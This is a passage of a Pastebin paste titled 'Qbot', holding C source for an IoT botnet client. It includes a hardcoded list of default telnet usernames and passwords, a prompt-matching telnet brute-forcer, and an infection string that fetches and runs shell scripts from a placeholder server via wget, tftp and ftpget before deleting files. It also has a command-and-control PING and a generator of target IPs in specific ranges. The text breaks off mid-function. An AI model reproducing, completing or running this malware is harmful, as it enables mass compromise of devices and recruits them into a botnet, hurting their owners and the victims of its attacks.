Advertisement
Guest User

Qbot

a guest
Dec 15th, 2017
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 69.28 KB | None | 0 0
  1. #include <stdlib.h>
  2. #include <stdarg.h>
  3. #include <stdio.h>
  4. #include <sys/socket.h>
  5. #include <sys/types.h>
  6. #include <netinet/in.h>
  7. #include <arpa/inet.h>
  8. #include <netdb.h>
  9. #include <signal.h>
  10. #include <strings.h>
  11. #include <string.h>
  12. #include <sys/utsname.h>
  13. #include <unistd.h>
  14. #include <fcntl.h>
  15. #include <errno.h>
  16. #include <netinet/ip.h>
  17. #include <netinet/udp.h>
  18. #include <netinet/tcp.h>
  19. #include <sys/wait.h>
  20. #include <sys/ioctl.h>
  21. #include <net/if.h>
  22. #include <time.h>
  23. #include <limits.h>
  24. #define PR_SET_NAME 15
  25. #define SERVER_LIST_SIZE (sizeof(hekkertelnet) / sizeof(unsigned char *))
  26. #define PAD_RIGHT 1
  27. #define PAD_ZERO 2
  28. #define PRINT_BUF_LEN 12
  29. #define CMD_IAC 255
  30. #define CMD_WILL 251
  31. #define CMD_WONT 252
  32. #define CMD_DO 253
  33. #define CMD_DONT 254
  34. #define OPT_SGA 3
  35. #define STD2_SIZE 75
  36. #define BUFFER_SIZE 1024
  37. #define PHI 0x9e3779b9
  38. #define VERSION "DaddyV1.0"
  39. #define NETIS "AA\x00\x00AAAA"
  40. unsigned char *hekkertelnet[] = { "SERVERIP" };
  41. int Server_Botport = BOTPORT;
  42. char *usernames[] = {"666666\0", "support\0", "default\0", "root\0", "root\0", "admin\0", "root\0", "admin\0", "root\0", "admin\0", "admin\0", "root\0", "support\0", "root\0", "supervisor\0", "root\0", "root\0", "root\0"};
  43. char *passwords[] = {"666666\0", "support\0", "\0", "\0", "root\0", "admin\0", "1234\0", "root\0", "123456\0", "1234\0", "vnpt\0", "1234567890\0", "support\0", "antslq\0", "zyad1234\0", "anko\0", "tini\0", "letacla\0"};
  44. char *hvgsgd = "cd /tmp; wget http://SERVERIP/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp SERVERIP -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g SERVERIP; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 SERVERIP ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";
  45. char* advances[] = {":", "ogin", "sername", "assword", (char*)0};//advances so if it says any of the following itll try a passwd or user
  46. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};// ill kms if i see this
  47. char* successes[] = {"BusyBox", "$", "#", (char*)0};//if it sees this itll send the payload
  48. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "BusyBox", "$", "#", (char*)0};
  49. int initConnection();
  50. int getBogos(unsigned char *bogomips);
  51. int getCores();
  52. int userID = 1;
  53. int getCountry(unsigned char *buf, int bufsize);
  54. void makeRandomStr(unsigned char *buf, int length);
  55. int HackerPrint(int sock, char *formatStr, ...);
  56. char *inet_ntoa(struct in_addr in);
  57. int D1ckSucka = 0, D1ckSuckaz = -1;
  58. uint32_t *pids;
  59. uint32_t scanPid;
  60. uint32_t ngPid;
  61. uint64_t numpids = 0;
  62. struct in_addr ourIP;
  63. unsigned char macAddress[6] = {0};
  64. static uint32_t Q[4096], c = 362436;
  65. void init_rand(uint32_t x)
  66. {
  67. int i;
  68. Q[0] = x;
  69. Q[1] = x + PHI;
  70. Q[2] = x + PHI + PHI;
  71. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  72. }
  73. uint32_t rand_cmwc(void)
  74. {
  75. uint64_t t, a = 18782LL;
  76. static uint32_t i = 4095;
  77. uint32_t x, r = 0xfffffffe;
  78. i = (i + 1) & 4095;
  79. t = a * Q[i] + c;
  80. c = (uint32_t)(t >> 32);
  81. x = t + c;
  82. if (x < c) {
  83. x++;
  84. c++;
  85. }
  86. return (Q[i] = r - x);
  87. }
  88. void trim(char *str)
  89. {
  90. int i;
  91. int begin = 0;
  92. int end = strlen(str) - 1;
  93. while (isspace(str[begin])) begin++;
  94. while ((end >= begin) && isspace(str[end])) end--;
  95. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  96. str[i - begin] = '\0';
  97. }
  98. static void printchar(unsigned char **str, int c)
  99. {
  100. if (str) {
  101. **str = c;
  102. ++(*str);
  103. }
  104. else (void)write(1, &c, 1);
  105. }
  106. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  107. {
  108. register int pc = 0, padchar = ' ';
  109. if (width > 0) {
  110. register int len = 0;
  111. register const unsigned char *ptr;
  112. for (ptr = string; *ptr; ++ptr) ++len;
  113. if (len >= width) width = 0;
  114. else width -= len;
  115. if (pad & PAD_ZERO) padchar = '0';
  116. }
  117. if (!(pad & PAD_RIGHT)) {
  118. for ( ; width > 0; --width) {
  119. printchar (out, padchar);
  120. ++pc;
  121. }
  122. }
  123. for ( ; *string ; ++string) {
  124. printchar (out, *string);
  125. ++pc;
  126. }
  127. for ( ; width > 0; --width) {
  128. printchar (out, padchar);
  129. ++pc;
  130. }
  131. return pc;
  132. }
  133. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  134. {
  135. unsigned char print_buf[PRINT_BUF_LEN];
  136. register unsigned char *s;
  137. register int t, neg = 0, pc = 0;
  138. register unsigned int u = i;
  139. if (i == 0) {
  140. print_buf[0] = '0';
  141. print_buf[1] = '\0';
  142. return prints (out, print_buf, width, pad);
  143. }
  144. if (sg && b == 10 && i < 0) {
  145. neg = 1;
  146. u = -i;
  147. }
  148. s = print_buf + PRINT_BUF_LEN-1;
  149. *s = '\0';
  150. while (u) {
  151. t = u % b;
  152. if( t >= 10 )
  153. t += letbase - '0' - 10;
  154. *--s = t + '0';
  155. u /= b;
  156. }
  157. if (neg) {
  158. if( width && (pad & PAD_ZERO) ) {
  159. printchar (out, '-');
  160. ++pc;
  161. --width;
  162. }
  163. else {
  164. *--s = '-';
  165. }
  166. }
  167. return pc + prints (out, s, width, pad);
  168. }
  169. static int print(unsigned char **out, const unsigned char *format, va_list args )
  170. {
  171. register int width, pad;
  172. register int pc = 0;
  173. unsigned char scr[2];
  174. for (; *format != 0; ++format) {
  175. if (*format == '%') {
  176. ++format;
  177. width = pad = 0;
  178. if (*format == '\0') break;
  179. if (*format == '%') goto out;
  180. if (*format == '-') {
  181. ++format;
  182. pad = PAD_RIGHT;
  183. }
  184. while (*format == '0') {
  185. ++format;
  186. pad |= PAD_ZERO;
  187. }
  188. for ( ; *format >= '0' && *format <= '9'; ++format) {
  189. width *= 10;
  190. width += *format - '0';
  191. }
  192. if( *format == 's' ) {
  193. register char *s = (char *)va_arg( args, int );
  194. pc += prints (out, s?s:"(null)", width, pad);
  195. continue;
  196. }
  197. if( *format == 'd' ) {
  198. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  199. continue;
  200. }
  201. if( *format == 'x' ) {
  202. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  203. continue;
  204. }
  205. if( *format == 'X' ) {
  206. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  207. continue;
  208. }
  209. if( *format == 'u' ) {
  210. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  211. continue;
  212. }
  213. if( *format == 'c' ) {
  214. scr[0] = (unsigned char)va_arg( args, int );
  215. scr[1] = '\0';
  216. pc += prints (out, scr, width, pad);
  217. continue;
  218. }
  219. }
  220. else {
  221. out:
  222. printchar (out, *format);
  223. ++pc;
  224. }
  225. }
  226. if (out) **out = '\0';
  227. va_end( args );
  228. return pc;
  229. }
  230. int zprintf(const unsigned char *format, ...)
  231. {
  232. va_list args;
  233. va_start( args, format );
  234. return print( 0, format, args );
  235. }
  236. int szprintf(unsigned char *out, const unsigned char *format, ...)
  237. {
  238. va_list args;
  239. va_start( args, format );
  240. return print( &out, format, args );
  241. }
  242. int HackerPrint(int sock, char *formatStr, ...)
  243. {
  244. unsigned char *textBuffer = malloc(2048);
  245. memset(textBuffer, 0, 2048);
  246. char *orig = textBuffer;
  247. va_list args;
  248. va_start(args, formatStr);
  249. print(&textBuffer, formatStr, args);
  250. va_end(args);
  251. orig[strlen(orig)] = '\n';
  252. //zprintf("buf: %s\n", orig);
  253. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  254. free(orig);
  255. return q;
  256. }
  257. static int *fdopen_pids;
  258. int fdpopen(unsigned char *program, register unsigned char *type)
  259. {
  260. register int iop;
  261. int pdes[2], fds, pid;
  262. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  263. if (pipe(pdes) < 0) return -1;
  264. if (fdopen_pids == NULL) {
  265. if ((fds = getdtablesize()) <= 0) return -1;
  266. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  267. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  268. }
  269. switch (pid = vfork())
  270. {
  271. case -1:
  272. close(pdes[0]);
  273. close(pdes[1]);
  274. return -1;
  275. case 0:
  276. if (*type == 'r') {
  277. if (pdes[1] != 1) {
  278. dup2(pdes[1], 1);
  279. close(pdes[1]);
  280. }
  281. close(pdes[0]);
  282. } else {
  283. if (pdes[0] != 0) {
  284. (void) dup2(pdes[0], 0);
  285. (void) close(pdes[0]);
  286. }
  287. (void) close(pdes[1]);
  288. }
  289. execl("/bin/sh", "sh", "-c", program, NULL);
  290. _exit(127);
  291. }
  292. if (*type == 'r') {
  293. iop = pdes[0];
  294. (void) close(pdes[1]);
  295. } else {
  296. iop = pdes[1];
  297. (void) close(pdes[0]);
  298. }
  299. fdopen_pids[iop] = pid;
  300. return (iop);
  301. }
  302. int fdpclose(int iop)
  303. {
  304. register int fdes;
  305. sigset_t omask, nmask;
  306. int pstat;
  307. register int pid;
  308. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  309. (void) close(iop);
  310. sigemptyset(&nmask);
  311. sigaddset(&nmask, SIGINT);
  312. sigaddset(&nmask, SIGQUIT);
  313. sigaddset(&nmask, SIGHUP);
  314. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  315. do {
  316. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  317. } while (pid == -1 && errno == EINTR);
  318. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  319. fdopen_pids[fdes] = 0;
  320. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  321. }
  322. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  323. {
  324. int got = 1, total = 0;
  325. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  326. return got == 0 ? NULL : buffer;
  327. }
  328. static const long hextable[] = {
  329. [0 ... 255] = -1,
  330. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  331. ['A'] = 10, 11, 12, 13, 14, 15,
  332. ['a'] = 10, 11, 12, 13, 14, 15
  333. };
  334. long parseHex(unsigned char *hex)
  335. {
  336. long ret = 0;
  337. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  338. return ret;
  339. }
  340. int wildString(const unsigned char* pattern, const unsigned char* string) {
  341. switch(*pattern)
  342. {
  343. case '\0': return *string;
  344. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  345. case '?': return !(*string && !wildString(pattern+1, string+1));
  346. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  347. }
  348. }
  349. int getHost(unsigned char *toGet, struct in_addr *i)
  350. {
  351. struct hostent *h;
  352. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  353. return 0;
  354. }
  355. void uppercase(unsigned char *str)
  356. {
  357. while(*str) { *str = toupper(*str); str++; }
  358. }
  359. int getBogos(unsigned char *bogomips)
  360. {
  361. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  362. char linebuf[4096];
  363. while(fdgets(linebuf, 4096, cmdline) != NULL)
  364. {
  365. uppercase(linebuf);
  366. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  367. {
  368. unsigned char *pos = linebuf + 8;
  369. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  370. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  371. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  372. strcpy(bogomips, pos);
  373. close(cmdline);
  374. return 0;
  375. }
  376. memset(linebuf, 0, 4096);
  377. }
  378. close(cmdline);
  379. return 1;
  380. }
  381. int getCores()
  382. {
  383. int totalcores = 0;
  384. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  385. char linebuf[4096];
  386. while(fdgets(linebuf, 4096, cmdline) != NULL)
  387. {
  388. uppercase(linebuf);
  389. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  390. memset(linebuf, 0, 4096);
  391. }
  392. close(cmdline);
  393. return totalcores;
  394. }
  395. void makeRandomStr(unsigned char *buf, int length)
  396. {
  397. int i = 0;
  398. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  399. }
  400. int recvLine(int socket, unsigned char *buf, int bufsize)
  401. {
  402. memset(buf, 0, bufsize);
  403. fd_set myset;
  404. struct timeval tv;
  405. tv.tv_sec = 30;
  406. tv.tv_usec = 0;
  407. FD_ZERO(&myset);
  408. FD_SET(socket, &myset);
  409. int selectRtn, retryCount;
  410. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  411. while(retryCount < 10)
  412. {
  413. HackerPrint(D1ckSucka, "PING");
  414. tv.tv_sec = 30;
  415. tv.tv_usec = 0;
  416. FD_ZERO(&myset);
  417. FD_SET(socket, &myset);
  418. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  419. retryCount++;
  420. continue;
  421. }
  422. break;
  423. }
  424. }
  425. unsigned char tmpchr;
  426. unsigned char *cp;
  427. int count = 0;
  428. cp = buf;
  429. while(bufsize-- > 1)
  430. {
  431. if(recv(D1ckSucka, &tmpchr, 1, 0) != 1) {
  432. *cp = 0x00;
  433. return -1;
  434. }
  435. *cp++ = tmpchr;
  436. if(tmpchr == '\n') break;
  437. count++;
  438. }
  439. *cp = 0x00;
  440. // zprintf("recv: %s\n", cp);
  441. return count;
  442. }
  443. int hostname_to_ip(char * hostname , char* ip)
  444. {
  445. struct hostent *he;
  446. struct in_addr **addr_list;
  447. int i;
  448. if ( (he = gethostbyname( hostname ) ) == NULL)
  449. {
  450. // get the host info
  451. herror("gethostbyname");
  452. return 1;
  453. }
  454. addr_list = (struct in_addr **) he->h_addr_list;
  455. for(i = 0; addr_list[i] != NULL; i++)
  456. {
  457. //Return the first one;
  458. strcpy(ip , inet_ntoa(*addr_list[i]) );
  459. return 0;
  460. }
  461. return 1;
  462. }
  463. int connectTimeout(int fd, char *host, int port, int timeout)
  464. {
  465. struct sockaddr_in dest_addr;
  466. fd_set myset;
  467. struct timeval tv;
  468. socklen_t lon;
  469. int valopt;
  470. long arg = fcntl(fd, F_GETFL, NULL);
  471. arg |= O_NONBLOCK;
  472. fcntl(fd, F_SETFL, arg);
  473. dest_addr.sin_family = AF_INET;
  474. dest_addr.sin_port = htons(port);
  475. if(getHost(host, &dest_addr.sin_addr)) return 0;
  476. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  477. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  478. if (res < 0) {
  479. if (errno == EINPROGRESS) {
  480. tv.tv_sec = timeout;
  481. tv.tv_usec = 0;
  482. FD_ZERO(&myset);
  483. FD_SET(fd, &myset);
  484. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  485. lon = sizeof(int);
  486. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  487. if (valopt) return 0;
  488. }
  489. else return 0;
  490. }
  491. else return 0;
  492. }
  493. arg = fcntl(fd, F_GETFL, NULL);
  494. arg &= (~O_NONBLOCK);
  495. fcntl(fd, F_SETFL, arg);
  496. return 1;
  497. }
  498. int listFork()
  499. {
  500. uint32_t parent, *newpids, i;
  501. parent = fork();
  502. if (parent <= 0) return parent;
  503. numpids++;
  504. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  505. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  506. newpids[numpids - 1] = parent;
  507. free(pids);
  508. pids = newpids;
  509. return parent;
  510. }
  511. int negotiate(int sock, unsigned char *buf, int len)
  512. {
  513. unsigned char c;
  514. switch (buf[1]) {
  515. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  516. case CMD_WILL:
  517. case CMD_WONT:
  518. case CMD_DO:
  519. case CMD_DONT:
  520. c = CMD_IAC;
  521. send(sock, &c, 1, MSG_NOSIGNAL);
  522. if (CMD_WONT == buf[1]) c = CMD_DONT;
  523. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  524. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  525. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  526. send(sock, &c, 1, MSG_NOSIGNAL);
  527. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  528. break;
  529. default:
  530. break;
  531. }
  532. return 0;
  533. }
  534. int matchPrompt(char *bufStr)
  535. {
  536. char *prompts = ":>%$#\0";
  537. int bufLen = strlen(bufStr);
  538. int i, q = 0;
  539. for(i = 0; i < strlen(prompts); i++)
  540. {
  541. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  542. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  543. }
  544. return 0;
  545. }
  546. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  547. {
  548. int bufferUsed = initialIndex, got = 0, found = 0;
  549. fd_set myset;
  550. struct timeval tv;
  551. tv.tv_sec = timeout;
  552. tv.tv_usec = timeoutusec;
  553. unsigned char *initialRead = NULL;
  554. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  555. {
  556. FD_ZERO(&myset);
  557. FD_SET(fd, &myset);
  558. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  559. initialRead = buffer + bufferUsed;
  560. got = recv(fd, initialRead, 1, 0);
  561. if(got == -1 || got == 0) return 0;
  562. bufferUsed += got;
  563. if(*initialRead == 0xFF)
  564. {
  565. got = recv(fd, initialRead + 1, 2, 0);
  566. if(got == -1 || got == 0) return 0;
  567. bufferUsed += got;
  568. if(!negotiate(fd, initialRead, 3)) return 0;
  569. } else {
  570. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  571. }
  572. }
  573. if(found) return 1;
  574. return 0;
  575. }
  576. static uint8_t ipState[5] = {0};
  577. in_addr_t HackerScan2()
  578. {
  579. ipState[1] = 0;
  580. ipState[2] = 0;
  581. ipState[3] = 0;
  582. ipState[4] = 0;
  583. ipState[1] = rand() % 255;
  584. ipState[2] = rand() % 255;
  585. ipState[3] = rand() % 255;
  586. ipState[4] = rand() % 255;
  587. int randnum = rand() % 208;
  588. char ip[16];
  589. if(randnum == 0)
  590. {
  591. szprintf(ip, "112.5.%d.%d", ipState[3], ipState[4]);
  592. }
  593. if(randnum == 1)
  594. {
  595. szprintf(ip, "117.165.%d.%d", ipState[3], ipState[4]);
  596. }
  597. if(randnum == 2)
  598. {
  599. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  600. }
  601. if(randnum == 3)
  602. {
  603. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  604. }
  605. if(randnum == 4)
  606. {
  607. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  608. }
  609. if(randnum == 5)
  610. {
  611. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  612. }
  613. if(randnum == 6)
  614. {
  615. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  616. }
  617. if(randnum == 7)
  618. {
  619. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  620. }
  621. if(randnum == 8)
  622. {
  623. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  624. }
  625. if(randnum == 9)
  626. {
  627. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  628. }
  629. if(randnum == 10)
  630. {
  631. szprintf(ip, "221.120.%d.%d", ipState[3], ipState[4]);
  632. }
  633. if(randnum == 11)
  634. {
  635. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  636. }
  637. if(randnum == 12)
  638. {
  639. szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
  640. }
  641. if(randnum == 13)
  642. {
  643. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  644. }
  645. if(randnum == 14)
  646. {
  647. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  648. }
  649. if(randnum == 15)
  650. {
  651. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  652. }
  653. if(randnum == 16)
  654. {
  655. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  656. }
  657. if(randnum == 17)
  658. {
  659. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  660. }
  661. if(randnum == 18)
  662. {
  663. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  664. }
  665. if(randnum == 19)
  666. {
  667. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  668. }
  669. if(randnum == 20)
  670. {
  671. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  672. }
  673. if(randnum == 21)
  674. {
  675. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  676. }
  677. if(randnum == 22)
  678. {
  679. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  680. }
  681. if(randnum == 23)
  682. {
  683. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  684. }
  685. if(randnum == 24)
  686. {
  687. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  688. }
  689. if(randnum == 25)
  690. {
  691. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  692. }
  693. if(randnum == 26)
  694. {
  695. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  696. }
  697. if(randnum == 27)
  698. {
  699. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  700. }
  701. if(randnum == 28)
  702. {
  703. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  704. }
  705. if(randnum == 29)
  706. {
  707. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  708. }
  709. if(randnum == 30)
  710. {
  711. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  712. }
  713. if(randnum == 31)
  714. {
  715. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  716. }
  717. if(randnum == 32)
  718. {
  719. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  720. }
  721. if(randnum == 33)
  722. {
  723. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  724. }
  725. if(randnum == 34)
  726. {
  727. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  728. }
  729. if(randnum == 35)
  730. {
  731. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  732. }
  733. if(randnum == 36)
  734. {
  735. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  736. }
  737. if(randnum == 37)
  738. {
  739. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  740. }
  741. if(randnum == 38)
  742. {
  743. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  744. }
  745. if(randnum == 39)
  746. {
  747. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  748. }
  749. if(randnum == 40)
  750. {
  751. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  752. }
  753. if(randnum == 41)
  754. {
  755. szprintf(ip, "43.253.%d.%d", ipState[3], ipState[4]);
  756. }
  757. if(randnum == 42)
  758. {
  759. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  760. }
  761. if(randnum == 43)
  762. {
  763. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  764. }
  765. if(randnum == 44)
  766. {
  767. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  768. }
  769. if(randnum == 45)
  770. {
  771. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  772. }
  773. if(randnum == 46)
  774. {
  775. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  776. }
  777. if(randnum == 47)
  778. {
  779. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  780. }
  781. if(randnum == 48)
  782. {
  783. szprintf(ip, "123.25.%d.%d", ipState[3], ipState[4]);
  784. }
  785. if(randnum == 49)
  786. {
  787. szprintf(ip, "103.54.%d.%d", ipState[3], ipState[4]);
  788. }
  789. if(randnum == 50)
  790. {
  791. szprintf(ip, "27.255.%d.%d", ipState[3], ipState[4]);
  792. }
  793. if(randnum == 51)
  794. {
  795. szprintf(ip, "103.204.%d.%d", ipState[3], ipState[4]);
  796. }
  797. if(randnum == 52)
  798. {
  799. szprintf(ip, "123.24.%d.%d", ipState[3], ipState[4]);
  800. }
  801. if(randnum ==53)
  802. {
  803. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  804. }
  805. if(randnum == 54)
  806. {
  807. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  808. }
  809. if(randnum == 55)
  810. {
  811. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  812. }
  813. if(randnum == 56)
  814. {
  815. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  816. }
  817. if(randnum == 57)
  818. {
  819. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  820. }
  821. if(randnum == 58)
  822. {
  823. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  824. }
  825. if(randnum == 59)
  826. {
  827. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  828. }
  829. if(randnum == 60)
  830. {
  831. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  832. }
  833. if(randnum == 61)
  834. {
  835. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  836. }
  837. if(randnum == 62)
  838. {
  839. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  840. }
  841. if(randnum == 63)
  842. {
  843. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  844. }
  845. if(randnum == 64)
  846. {
  847. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  848. }
  849. if(randnum == 65)
  850. {
  851. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  852. }
  853. if(randnum == 66)
  854. {
  855. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  856. }
  857. if(randnum == 67)
  858. {
  859. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  860. }
  861. if(randnum == 68)
  862. {
  863. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  864. }
  865. if(randnum == 69)
  866. {
  867. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  868. }
  869. if(randnum == 70)
  870. {
  871. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  872. }
  873. if(randnum == 71)
  874. {
  875. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  876. }
  877. if(randnum == 72)
  878. {
  879. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  880. }
  881. if(randnum == 73)
  882. {
  883. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  884. }
  885. if(randnum == 74)
  886. {
  887. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  888. }
  889. if(randnum == 75)
  890. {
  891. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  892. }
  893. if(randnum == 76)
  894. {
  895. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  896. }
  897. if(randnum == 77)
  898. {
  899. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  900. }
  901. if(randnum == 78)
  902. {
  903. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  904. }
  905. if(randnum == 79)
  906. {
  907. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  908. }
  909. if(randnum == 80)
  910. {
  911. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  912. }
  913. if(randnum == 81)
  914. {
  915. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  916. }
  917. if(randnum == 82)
  918. {
  919. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  920. }
  921. if(randnum == 83)
  922. {
  923. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  924. }
  925. if(randnum == 84)
  926. {
  927. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  928. }
  929. if(randnum == 85)
  930. {
  931. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  932. }
  933. if(randnum == 86)
  934. {
